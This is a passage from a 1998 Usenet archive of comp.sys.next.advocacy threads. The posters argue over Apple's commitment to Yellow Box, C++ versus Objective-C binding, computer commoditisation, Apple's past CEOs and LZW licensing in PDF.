Most design patterns described in GOF are either not necessary at all
or reduce to a single class in a library with dynamic languages.
It is possible to write constant-size bridges that provide full,
transparent and bi-directional access between languages.
>> collection classes in general,
>Hmm, I have no problem using general purpose collection clases in C++.
>They are different from those in dynamic languages, but quite general
>and useful.
Wouldn't that be collection templates? Can I place strings (provided
by the class library) and my own HTML-objects in the same container?
How about two objects from two different vendor's class libraries
I have no source-code for?
>> shared libraries that can change independent of the applications compiled
>> against them,
>> and reduction of the fragile base class problem.
>?
A C++ class in shared library cannot be changed to include more virtual
functions without breaking all existing clients of that shared library
with descendants of that class. This is no problem with Objective-C.
Dynamic binding is not 'the answer'. It is just a minimal requirement.
http://www.cs.cmu.edu/afs/cs.cmu.edu/project/able/www/paper_abstracts/archmismatch-icse17.html
provides some useful insights on this topic.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: a9226931@unet.univie.ac.at --- Christian Benesch
Newsgroups: comp.sys.next.advocacy
Subject: Re: next.advocacy says:YB is dead -- YB says: next.advocacy is dead!
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Cc: spammers@ruin.the.internet.channelu.com
References: <35ac4e75.0@news.telekabel.at> <6oim56$hm4$2@msunews.cl.msu.edu>
<35ad1bd2.0@news.telekabel.at> <6olkt6$o61$1@msunews.cl.msu.edu>
Message-ID: <35ae939b.0@news.telekabel.at>
Date: 17 Jul 1998 01:58:19 +0100
In <6olkt6$o61$1@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> In <35ad1bd2.0@news.telekabel.at> Christian Benesch wrote:
> > In <6oim56$hm4$2@msunews.cl.msu.edu>
> spammers@ruin.the.internet.channelu.com
> > wrote:
> > > In <35ac4e75.0@news.telekabel.at> Christian Benesch wrote:
> > <SNIP - my own ranting>
> >
> > >Well to my mind advocacy is where people post arguments for being an
> > >advocate and where people shoot those down. It is a debate place.
> > >Frankly if you think that Apple dropping PC support isn't a big deal
> > >then fine. Live in your rosey world and buy your G3 or G4. But
> > >if you havn't listened there are a number of long time NeXT
> > >developers/VARs
> >
> > *sigh*. Sadly,fiddling for 3 years with the various academic bundles
> doesn't
> > place me in that category.
>
> I mainly place myself as an integrator - and general what do you want
> here are your options kind of guy. Not big potatoes by any sense of
> the word. Apple won't live or die by me alone - but if there are
> another
> 1000-10000 of people like me out there - and I'm talking about if they
> release YB to the world free - that could easily sell 100-1000 copies
> of MacOS X Server - now multiply that by the 1000-10000 of me
> at $100-200 a crack.. The numbers start @ $10Million gross revenue
> to $2Billion... That includes no machine purchases.. Or EOF,
> Developer Tools, WO, etc.
>
> > >who are now probably the majority of YB developers/VARs that are
> > >concerned about Apple's 'blowing with the wind' and 'covering all
> > >bases w/o covering any' attitude.
> >
> > I can see,that this could concern, but in most part those compromises
> had to
> > be made to assure that commercial foothold,I was talking about.
> > (Carbon,to name it, is not such a bad idea if you view it in
> perspective.
> > That is, as a transition technology).
>
> Frankly I don't see Apple telling them that at all. Were you a MacOS
> developer would you want to hear that you have to do 2 ports rather
> than 1.. Either way one of those ports for them (to YB) will be hard.
> I don't see Apple telling them - we'll buy you time with Carbon -
> but YOU have to decide about YB. Tell me what do you think
> Apple will do if 90% of their sales/apps etc. are found to be from
> Carbon apps etc. If YB runtimes are free - what do you think
> Apple will do? Especially if no-one buys WO, EOF, Dev tools..
> Or Java gets hot..
>
> IMHO YB will die. This is the Jobs - and market mentality - if it's
> not making $$ we'll just drop it. I agree with this to some extent
> but there is an element of marketing - and customer loyalty
> that takes a long time to build - and in my mind Apple has lost
> quite a bit of trust in many arenas.
>
> To top this off I saw a cousin I havn't seen for quite some time
> she's a teacher - and in their school they have Macs PM's to
> be precise. They can't find support people easily now because
> mac 3rd party markets are drying up - shifting to x86 and MS.
> What are those schools going to do when they find they can't
> support those G3's and MacOS X..
>
> > As regards dropping PC support(dropping of Rhapsody/Intel after 1.0,
> to be
> > exact), I wonder what part the Microsoft investment plays here.
> (Which DID
> > help Apple, as much as I hate to say it.)
>
> No-one knows. Frankly If it meant giving MS x86 I would have said
> bug off. Screw MS-Office. I really don't understand why some people
> think they need a native mode for MS-Office - most of the time it's
> just waiting for your input. A Red-Box emulator on x86 (Insignia - or
> other solution) would have been very good. YB on windows is
> of course the other option if the user is hooked on more than MS-Office
> or features only available in windows on a PC.
>
> > > An individual user may blow
> > > with the wind, but not a corporation. For corporations doing MCCA
> > > work - they absolutely need to know that their investiment is
> secure.
> > > And their investiment is much more than some paltry off the shelf
> > > software.
> > > It's people and code- and all the costs that go along with
> training, &
> > > paying
> > > them to learn how, and finally produce that code.
> > >
> >
> > True, but that was the strong point of YB,wasn't it?
>
> That is what they said - which is why all this - porting is hard
> crap is impossible to my mind - along with drivers are expensive.
> A bunch of BS to me. NeXT did pretty well IMHO - not perfect -
> with much less than Apple has at its disposal..
>
> Even though YB gets you to windows - if you don't know you
> will have a safe investiment in YB code at least for the forseeable
> future - well if your smart you seek other solutions.
>
> I think for many companies the advantages of YB don't outweight
> the risk related to their code/manpower investiment dissappearing
> overnight if YB dies.. At least with free unixes & MS they can be
> confidant of their code investiment.
>
> > > If YB went away - it absolutely devistates them.
> >
> > Absolutely,but will it? That is what I was driving at.
>
> My point is no-one really knows. A definative statement
> from Apple relating to YB will be supported as long as
> we are a company - would go a long way. They could
> even qualify it with will be supported until a better solution
> comes along - and since much of our enterprise code
> depends on YB - if we move from YB to X,Y,or Z then
> of course our enterprise solutions will be moved to
> X,Y, or Z.. Apple seems to think everyone just
> assumes this.. Well previous history has show
> NeXT to leave folks twisting in the wind - possibly
> Apple also.. Everyone appreciates upfront open
> honesty - Neither NeXT nor Apple seem to be up
> front or honest about their predicament. MCCA
> and enterprise can sniff a slippery salesman a mile
> away - once burned foo on you - twice burned foo
> on me..
>
> > > Will YB go away
> > > the problem is no-one can say with certianty. Hell no-one
> > > can say anything with certianty. But many people are fairly
> > > certian Microsoft will be here for the next 5 years, or Linux,
> > > can they say that about Apple. If Apple were to make a all
> > > or nothing commitment to YB they'd have a lot more going
> > > in that direction.
> >
> > > But when they water it down with Carbon
> > > (legacy man, legacy - I understand this move well - and it
> > > was long over due), and Java, and spary on the fire extingusher
> > > by telling everyone you have to buy G3 to have YB on Mach..
> > >
> > > You get a real limp lukewarm reception.. What is clear is
> > > Apple is hedging all its bets when it should be pushing
> > > forward very strongly on all fronts..
> > >
> > > Let people know YB is where they want them to be in 5-10 years.
> > > Let them know Carbon is Apple listening to developers for
> > > a transition period, along with a gained understanding of the
> > > investiment they have in their existing codebases..
> > > Let people know that you are confidant that G3 hardware
> > > IS and WILL CONTINUE to be the best hardware to run
> > > MacOS X on by supporting a PC version.
> > > Spread the message to MCCA - that we made a mistake
> > > saying we'd drop MacOS X on PC - and that we havn't
> > > been clear about YB - and therefore the products that
> > > rely on it (EOF, WO, Developer tools)
> >
> > This is probably the point,where my denial sets in:
> > 1) Tools = Developer's heaven
> > 2) EOF = Creme de la creme
> > 3) WO = Excellent (as far as the first two Tutorials have shown me)
> > 4) not to forget of course: the whole architecture = marvellous
>
> Yes that is indeed true..
>
> > Can they kill all this? They can't possibly!!!
> > (Or can they?.....I am confused)
>
> That is the problem Apple has not stood up strong on YB
> AFAIK or IMHO. Frankly mostly I hear from some developers
> in tight with Apple that they repeat the mantra Apple has
> given them:
>
> YB is good.
> YB is great
> YB will be here forever
> That is what I state.
>
> Don't believe the naysayers
> YB won't dissappear soon
> and if you do..
> I'll shoot you to the moon..
>
> > I am clinging to the understanding that the place is now run mainly
> by
> > ex-NeXTers (including Jobs) and the hope that they won't backstab
> their own
> > brain-child.
>
> Yeah - that is part of the problem in my mind. NeXT would always
> shift their targets to bigger horizons and dump the - small guys
> (even if they are big companies or installed bases)..
>
> They started with Education/Publishing, then went to MCCA, now what?
> Desktop web publishing, e-commerce??? What's next?
>
> > Now that you mention it, it *is* odd that they failed to adress the
> > traditional NeXT clientel,MCCA(Multiple Client Custom Applications is
> what I
> > suppose you mean) is what YB cries for.
>
> Yes - a serious failure IMHO - I believe that the bridges are burning
> as we write/read. Big beams are falling away and the bridge is
> swaying under it's own weight.. It's going to take a major effort
> to restore that bridge (bridge of trust). I don't see Apple having
> the will - not when they think paying a premium for the 'privledge'
> of using a superior OS means they can treat us like lemmings.
>
> > > Tell everyone that Java is not YB - but that Java is
> > > important - so much so that Apple believes it will
> > > have the preimere Java Devleopment platform
> > > in the coming months/years. And in fact have
> > > THE preimere Java, YB, Windows development
> > > platform.
> > > Let everyone know that Apple is not going away,
> > > and they are not afraid of the MS/Intel juggernaut.
> >
> > If you look at the recent adds, Apple's not afraid. (YB future is, I
> still
> > believe, closely linked to Apple's hardware success.)
>
> Not at all. Java is being tossed around quite a bit - and
> if 1/2 of the MacOS developers port to carbon - they will
> have 100x the YB apps. If people buy G3 for Carbon
> Apps mostly and not buy YB apps or solutions.. Really
> Apple doesn't care what sells hardware as long as
> it sells.. They should be sending a survey along with
> every machine to find out why a person purchased
> the machine.. I bet it's mostly to run MacOS 8.x and
> get some speed benefits..
>
What I meant was: YB is reliant on Apple's hardware success.(not vice versa)
> > > Even a little virus can take down a human - can you
> > > say YB for windows (now there's a little virus)..
> > >
> > > These are things that in my mind Apple is failing miserably
> > > at. It is all well and good to placate and recharge your existing
> > > and shrinking community - but you must send such a strong
> > > bolt to your customers where a huge potential for growth
> > > is as to energize them - and the masses - not to just
> > > "Think Different" but to "Act Different"
> > >
> >
> > *Official* support is somwhat watered down by Carbon,etc. , I can see
> that,
> > but the question is, whether this will really result in abolition of
> YB.
> > Hell, what else do they have to go on?
>
> Java, Carbon. Sick idea - but anything could happen.
> I will reiterate - if Apple starts touting MacOS X as the preimere Java
> development platform and few people are buying YB apps (WO, EOF,
> etc.) you can kiss YB good bye shortly thereafter.
>
> > They renamed Rhapsody MacOS X/Server.If only psychological,still one
> tiny
> > step into the direction you are proposing.
>
> Yeah and interesting I was the first (and maybe only person) to
> publically
> advocate that name change. Privately I don't know.
> But I advocated it in conjunction with Apple reiterating PC compatible
> support (even if on a reasonably limited subset of hardware) for the
> future
> 2.x and beyond. Apple has repeatedly stated that MacOS X 2.x will be
> PPC only - they havn't deviated one iota from this plan.
>
> I also still say to Apple let YB go to GNU or MiscKit - keep YB apps
> (EOF, WO, Dev tools, Mail, etc. etc.) sell 'official' YB bundle
> versions
> along with various levels of support. IF the PPC version runs YB on
> Mach
> so much better than other hardware (price performancewise) then people
> will be beating down the doors to Apple.. 'official' versions
> (bundled with
> basic YB apps and WO lite, etc.) would sell like hotcakes..
>
> Confidance in YB would be 100% overnight - developers will purchase
> dev tools like mad, MCCA, Enterprise etc. WO priced in the 1-2K range
> would also sell like mad.
>
I like this GNU-Step type of dream, but I think it is even less likely.
Mainly because it is without precedence.
YB could be totally self-sufficient, perhaps even spun off and be deployed on
other platforms(Linux,Sun, etc.) easily.If the source was available I have no
doubt that within a few month every platform would have an implementation.
There are spin-off rumors concerning WebObjects. If a new company division
was formed around a source-available YB system as a whole, no question, that
it will be a hit, and a source of unbound profits.(It could be *the* NT
killer)
But Apple has stated repeatedly, that they deem themselves a hardware
company.Don't misunderstand me I like those G3s, especially the Powerbooks,
but from what I read, instead of opening up, Apple is getting more
proprietary again.
I still don't see YB abolished, I still see a market for G3 based YB systems.
And I am still (a little less) optimistic, but I can't stretch my optimism as
far as believing they will release the code-base, as wonderful a stroke of
ingenuity it would be.
My hopes still are that with the actual release of CR1.0 we will get some
statement as to its future.(Even a conference?)
I can't believe,that in fall they just say:"Here it is, you got what we
promised, now leave us alone."
MacOS X/Server's completion is a milestone, it was always propagated as such,
but it's also an achievement. And I think a campaign around an achievement is
good advertisement for Apple. I am sure they will exploit it, and with that
put back YB on the map.
(MacOSX/Server is all about YB, so they *have* to focus on it. No Carbon,
some Java maybe.)
Perhaps (hopefully) the renaming is a sign for things to improve.
> > > That is what Advocacy is all about IMHO.
> > Allright, I got the message :)
>
> Cool. I hope you didn't think I was bitching - advocacy - debate -
> nice
> to meet ya - ya know.. :)
>
All I wanted, probably, is to spark some conversation.
Christian Benesch
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 17 Jul 1998 12:59:54 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6onhsa$5qu$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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lars.farm@ite.mh.se (Lars Farm) writes:
>Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>> That's an interesting interpretation, but it doesn't really jive
>> well with the development history of C++. The v-tables were the
>> primary factor, the typing restriction a result of the v-table
>> requirement.
>It may not jive well with your perception, but it does match the langage
>specification as well as statements by Stroustrup.
Well, I just grabbed our copy of the C++ Book by Stroustrip (german copy,
so no direct quotes). While not mentioning vtables directly, the emphasis
on efficiency is overwhelming and very explicit. To me it is clear that
a definition of message passing that would have required more than a
single indexed table lookup would not have been acceptable. Are you
disputing that this is the case?
Furthermore, Stroustroup explicitly states that there never was a design
of C++ on paper; design, documentation and implementation were parallel
activities.
I think my perception matches the available evidence pretty well.
>> > There are differences, but they have to do with ...
>> >(2) Type compatibility: [...].
>>
>> This has nothing to do with strong or weak typing, as a selector does
>> contain a full signature. The only difference is that C++ imposes an
>> additional requirement that has nothing to do with strong type-safety.
>I was told that a ST/OC selector represented information about (1)
>function name and (2) number of operands. This limits tests for what
>types are compatible. C++ adds (3) type for each argument and also (4)
>the class the method belongs to. That is: type compatibility in ST/OC is
>{1,2} where type compatibility in C++ is {1,2,3,4}.
What you were told is not 100% correct. The selector also contains
type-information for the arguments and return types, so Objective-C
is {1,2,3}. Once again, {4} is unecessary for static type-checking.
>Isn't that a difference?
Yes, C++ has an additional restriction that is not necessary for
typing purposes but helps performance.
>> (3) Time for type compatibility test: [...]
>> The difference is that they
>> also *allow* expressions that cannot be type-checked at compile-time
>> but must be checked at runtime. Static languages simply disallow
>> those kinds of statements.
>Isn't that a difference?
Yes. C++ disallows valid and powerful constructs.
>> It is clear enough, but wrong. The difference is very clearly binding,
>> because the dynamic binding of ST/Objective-C goes far beyond the late
>> binding of C++.
>So we have a communication problem. We don't use the same definition of
>terms. Please describe what you mean by dynamic binding, late binding
>and also what you think the terms I use really mean.
I am trying :-)
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: a9226931@unet.univie.ac.at --- Christian Benesch
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
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Cc: maury@istar.ca
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com>
<gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com>
<gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org>
Message-ID: <35aea74f.0@news.telekabel.at>
Date: 17 Jul 1998 03:22:23 +0100
In <6olsfi$jeh$3@server.signat.org> Maury Markowitz wrote:
>
> > For Apple to be bought by either a kindered spirit (like Sun) or a
> > deep pockets company (like Philips, IBM, or Motorola) would be the best
> > thing that could happen to either Apple or the Mac.
>
> No, the best thing would be for the iMac to sell truckloads, and capture
> even more press. Everyone seems to think this is a done deal. You don't
> have to sell the company off for it to do well - obviously - and what can
> those companies do that Steve hasn't already?
>
>Maury
Provide the resources to meet the demand for Apple's products?
Just a thought
Christian Benesch
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Date: 17 Jul 1998 13:49:08 GMT
Organization: San Diego State University
Message-ID: <6onkok$rs9$1@hole.sdsu.edu>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com>
Earl Malmrose (malmrose@nospam.jetcity.com) wrote:
: Here are some REAL, useful pieces that I use regularly:
: Code Warrior
It's probably impolite to point out that the only reason you may
use "real, useful" CodeWarrior in BeOS is that Metrowerks had its
library format welded into the operating system at a low level,
so that it's impossible to use the Be API with anything else.
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 17 Jul 1998 14:08:29 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6onlst$9oe$1@lwnws01.ne.highway1.com>
References: <6oktri$frj$1@lwnws01.ne.highway1.com> <edewEw7oKo.3A1@netcom.com> <6ompst$m5t$4@lwnws01.ne.highway1.com> <edewEw8FEq.HpI@netcom.com>
edew@netcom.com (Eric Dew) wrote:
> By commodity, I mean a product which is sold (or not) based solely
> on its price. In this case, computers are definitely not a
> commodity. You can increase "value" by making it look cooler
> (like the Rock City computers, that is, if you think a black cube
> on its corner is cool), you can make it expandable, you can make
> it easy to use, you can offer lots of software or lots of extra
> hardware. The fact that computer companies can tune the type of
> computer to buyers' preferences makes it NOT a commodity (in my
> definition above...oil is a commodity because -- aside from
> gullible sports car drivers -- any one type of oil is as good as
> another, the only issue is the price).
Well aside from silly mac users, most people feel one simillarly
featured machine is generally as good as another.
> So, computer sellers CAN create marketing niches for themselves.
> Anyone needing a serious database server will pay plenty for a
> SUN or IBM mainframe or Amdahl's machines rather than a Compaq
> or Dell server, and it's clearly not because of the price.
> However, a not-so-serious DB server could use a Dell or Compaq.
>
> Desktop publishing work with Apple stuff because they prefer them
> over Windows, not because they're cheaper.
Oil is sold in different grades for different purposes, so is gold.
At anyone grade people generally don't care. Some, however like
italian gold, and brand X oil. But generally people don't give a
darn. They by the particular grade they need for their task.
Generally, people feel similiarly about computers; undoubtedly to
a lesser extent than say oil.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Subject: Re: Profits up, revenues continue to slide
Newsgroups: comp.sys.next.advocacy
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com> <id_est-1607982337110001@192.168.1.3> <6omp04$m5t$1@lwnws01.ne.highway1.com> <id_est-1707980328040001@192.168.1.3> <6omvac$q8u$1@lwnws01.ne.highway1.com>
In-Reply-To: <6omvac$q8u$1@lwnws01.ne.highway1.com>
From: email@end.of.post (Raymond Lutz)
Message-ID: <rZIr1.10$57.302713@wagner.videotron.net>
Date: Fri, 17 Jul 1998 14:12:39 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 10:12:39 EDT
On 07/16/98, John Kheit wrote:
>id_est@interport.net (tse_di) wrote:
>> I did not insinuate that building marketshare contributes to
>>
[affirmations about Japan economy snipped]
>>
>> companies that followed a strategy of marketshare over everything
>> else. I am not going to argue about the state of the Japenese
>> economy in a computer advocacy group.
>
>Seems you're doing precisely what you espouse not to!
It's rhetorical, John (preterition if I recall)
:)
Ray
PS: now, *that's* noise. I am not going to add more noise in this
already saturated group.
--
Raymond Lutz - 9bit.qc.ca@lutzray - www.9bit.qc.ca/~$myusername - "Les 400 plus fortunes individus de la planete possedent autant que 2.3 MILLIARDS des plus pauvres reunis"
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 17 Jul 1998 09:29:47 -0500
Organization: Prairie Group
Message-ID: <MPG.10191bd83680a6149899a9@news.supernews.com>
References: <6ol3ov$722$2@server.signat.org> <B1D3E1B6-497D2@206.165.43.46> <6omain$snn$1@server.signat.org>
In article <6omain$snn$1@server.signat.org>, maury@remove_this.istar.ca
says...
> In <B1D3E1B6-497D2@206.165.43.46> "Lawson English" wrote:
> > "I [f] you don't have a history with MacOS customers, YB offers a larger
> > >market.
>
> Sure,€but I think it offers a larger market even to those people. I know a
> lot of util vendors and such that would kill for a good clean way to go
> x-platform (heck, it would have made SA's job easier too).
>
If so, that would be good. But YB isn't a good clean way to go x-
platform, since it leaves out the vast majority of Mac users.
Donald
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 17 Jul 1998 15:11:51 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6onpjn$b7e@newsb.netnews.att.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com> <id_est-1607982337110001@192.168.1.3>
Originator: gupta@tlctest
tse_di <id_est@interport.net> wrote:
>Given the current state of the Japanese economy I don't know that one
>should take those lessons that seriously.
Given the (observed) cyclic nature of every economy, one wonders if any
economics can be taken seriously, using the same reasoning. A more
realistic assessment would be to draw conclusions after taking into
account the economic cycle.
-arun gupta
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
From: shawnm@snd.net (Shawn M.)
Date: Fri, 17 Jul 1998 08:23:57 -0700
Message-ID: <199807170823572819332@slip129-37-241-229.wa.us.ibm.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <B1D3D746-223D1@206.165.43.46>
Organization: SND, Illchester, MD
Lawson English <english@primenet.com> wrote:
> Shawn M. <shawnm@snd.net> said:
>
> >
> >Gassee was NEVER the CEO of Apple. If you want to blame someone for
> >Apple's former mistakes and "almost demise", try taking a look at John
> >Scully and the person who was CEO immediately after him [name escapes
> >me
> >at the moment] as two of the people who really ran the company into the
> >ground.
> >
>
> Gee...
>
> Sculley got Jobs ousted because he was acting like a nutcase and no bank in
> America would give Apple a loan as long as "that nutcase" [rumored direct
> quote] was still in control of Apple.
>
> Sculley, the person who ran Apple into the ground, took it from being a $1
> billion/year company to a $12 billion per year.
Sculley made a *lot* of bad decisions where Apple is concerned (and he
did help to run it into the ground, albeit not single-handedly--that
award goes to Spindler) and about the only thing I'll give him credit
for is the Newton line, which of course Apple doesn't support
anymore....
--
"All that we love deeply becomes a part of us" (author unknown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
From: shawnm@snd.net (Shawn M.)
Date: Fri, 17 Jul 1998 08:24:01 -0700
Message-ID: <199807170824012819540@slip129-37-241-229.wa.us.ibm.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <gmgraves-1607982146050001@sf-pm5-7-71.dialup.slip.net>
Organization: SND, Illchester, MD
George Graves <gmgraves@slip.net> wrote:
> In article <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>,
> shawnm@snd.net (Shawn M.) wrote:
>
> > tomlinson <etomlins@rohan.sdsu.edu> wrote:
> >
> > > George Graves (gmgraves@slip.net) wrote:
> > >
> > > : management, past and present and point fingers (If I had to pick one
> > > : Apple personality upon which to pin the majority of its resultant
> > > : woes, that person would be Jean Louis Gassee. His tenure at Apple
> > > : is proabably the most responsible for Apple's poor marketshare today.)
> > >
> > > This is I think the second time I have seen Gassee criticised as
> > > chiefly responsible for Apple's more idiotic decisions. Lacking
> > > any knowledge of Gassee's tenure at the company, I can't judge the
> > > statement. What's the story? What did he do?
> >
> > Gassee was NEVER the CEO of Apple. If you want to blame someone for
> > Apple's former mistakes and "almost demise", try taking a look at John
> > Scully and the person who was CEO immediately after him [name escapes me
> > at the moment] as two of the people who really ran the company into the
> > ground.
>
> That would be true in any OTHER company, not at Apple. Scully and Spindler
> lacked two things to be effective CEOs (1) a clue, (2) any real power.
> Management by concensus, might, as I said earlier, work in political
> organizations, but in business it doesn't work at all.
I don't agree with your theory as it applies to Apple. If it were true,
Steve Jobs would not have the affect he's having now. He's the [acting]
CEO and he's single handedly made lots of big decisions that affect
Apple's future. Apple obviously isn't run by consensus anymore--at
least not with Jobs in charge.
--
"All that we love deeply becomes a part of us" (author unknown)
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 09:20:08 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <uaf68mx6f.fsf@ai.mit.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net> <6oglng$ft8$1@news.digifix.com> <6oie2v$h7g$3@server.signat.org> <6oj2ge$b61$1@news.digifix.com>
sanguish@digifix.com (Scott Anguish) writes:
> On 07/15/98, Maury Markowitz wrote:
> >> to a lesser extent the Unisys LZW patent.
> >
> > Same here, doesn't PDF avoid this issue?
>
> Uh, not really. The Unisys issue is LZW, which is present
> both in the proposed .gif support (although QT support will encompass
> that in the Mac OS X timeframe) and in the tiff support.
>
> Neither of these have anything to do with PDF though.
And PDF may also add to the problem. Many PDF files use LZW
compression internally, and end up running the bulk of their text
through a LZW decoder, which is even part of the PDF spec (section
4.8.3). If Unisys demands license fees for decoding LZW, then you
could end up with fees even with PDF.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 14:20:02 GMT
Organization: wazza?
Message-ID: <6onmii$njn$1@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
